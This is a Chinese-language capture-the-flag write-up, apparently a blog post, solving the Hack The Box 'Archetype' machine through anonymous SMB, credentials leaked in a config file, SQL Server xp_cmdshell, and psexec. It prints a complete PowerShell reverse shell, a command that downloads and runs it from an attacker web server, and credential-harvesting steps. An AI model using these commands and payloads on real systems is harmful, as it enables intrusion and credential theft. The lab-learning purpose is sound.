渗透测试靶场Hack The Box-Archetype学习

准备

impacket工具
Cobalt Strike

界面

在这里插入图片描述

扫描

拿到ip,先上DJ!先上DJ!
不对不对。。。
先上nmap!先上nmap!
123

利用

可以发现445和1433端口开启
445:通常与SMB服务有关联
1433:常与SQL Server关联
自我觉得445端口成功的可能性更大些,那就从445入手!!
值得检查是否允许匿名访问,因为文件共享通常存储包含密码或其他敏感信息的配置文件。

于是乎使用smbclient进行尝试连接

smbclient -N -L //10.10.10.27/
-N  不用询问密码
-L显示服务器端所分享出来的所有资源

在这里插入图片描述成功!
依次进行连接
发现backups似乎是一个备份的共享

smbclient -N //10.10.10.27/backups
dir //列出文件

在这里插入图片描述有一个 dtsConfig 文件,它是与 SSIS 一起使用的配置文件。

get prod.dtsConfig
cat prod.stsConfig //查看
<DTSConfiguration>
    <DTSConfigurationHeading>
        <DTSConfigurationFileInfo GeneratedBy="..." GeneratedFromPackageName="..." GeneratedFromPackageID="..." GeneratedDate="20.1.2019 10:01:34"/>
    </DTSConfigurationHeading>
    <Configuration ConfiguredType="Property" Path="\Package.Connections[Destination].Properties[ConnectionString]" ValueType="String">
        <ConfiguredValue>Data Source=.;Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc;Initial Catalog=Catalog;Provider=SQLNCLI10.1;Persist Security Info=True;Auto Translate=False;</ConfiguredValue>
    </Configuration>
</DTSConfiguration>

可以从这个配置文件中读出Windows 用户 ARCHETYPE\sql_svc 的凭据

Password=M3g4c0rp123;User ID=ARCHETYPE\sql_svc

尝试使用Impacket的mssqlclient.py连接到SQL Server

mssqlclient.py -windows-auth ARCHETYPE/sql_svc@10.10.10.27       //mssqlclient.py user ID@ip

在这里插入图片描述成功!
使用SELECT IS_SRVROLEMEMBER(‘sysadmin’)查看当前是否有sysadmin(最高级别)的 SQL Server 权限`,返回1,则表示具有该权限

在这里插入图片描述
这将允许我们启用 xp_cmdshell 并在主机上获得 RCE
依次执行以下代码:

 EXEC sp_configure 'Show Advanced Options', 1;			
 reconfigure;											
 sp_configure;										
 EXEC sp_configure 'xp_cmdshell', 1						
 reconfigure;									
 xp_cmdshell "whoami" 	

如果成功 则返回archetype\sql_svc,但是,此帐户似乎没有主机的管理权限,但也拥有部分权限。

在这里插入图片描述这时,创建一个shell文件shell.sp1内容如下:

$client = New-Object System.Net.Sockets.TCPClient("10.10.15.174",443);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + "# ";$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};$client.Close()

在这里插入图片描述注意:ip需要更改为本机ip,端口为后续要监听的端口!
接下来,建立一个小型网络服务器以供shell下载
在同目录下使用命令

python3 -m http.server 80 

再开启监听

nc-lvnp 443   //监听443端口

我们现在可以通过 xp_cmdshell 发出下载和执行反向 shell 的命令

xp_cmdshell "powershell "IEX (New-ObjectNet.WebClient).DownloadString(\"http://10.10.15.174/shell.ps1\");"

此处ip为shell接受端ip
执行后:

在这里插入图片描述
可以发现,已经有下载请求,在返回netcat查看,成功!
小插曲:这边之前一直未上线,最后发现原来是443端口没开,导致反弹不回来

ufw disable   //关闭防火墙
ufw allow 443  //开放443

使用type C:\Users\sql_svc\Desktop\user.txt
取得第一个flag!
再使用type C:\Users\sql_svc\AppData\Roaming\Microsoft\Windows\PowerShell\PSReadline\ConsoleHost_history.txt取得powershell
在这里插入图片描述
这里我们得到adiministrator的密码!!
这表明备份驱动器已使用本地管理员凭据映射。我们可以使用 Impacket 的 psexec.py 来获得特权 shell。
接下来进行提权!
这里用到psexec工具

psexec.py 用户名@ip
psexec.py administrator@10.10.15.174

输入对应密码
在这里插入图片描述连接成功!
此时执行payload 使其在Cobalt Strike上线
最终在desktop位置找到root.txt找到administrator的flag!
在这里插入图片描述

  • 2
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值